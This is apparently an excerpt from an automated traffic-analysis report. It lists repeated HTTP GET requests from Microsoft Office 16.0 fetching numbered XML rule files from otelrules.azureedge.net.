Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
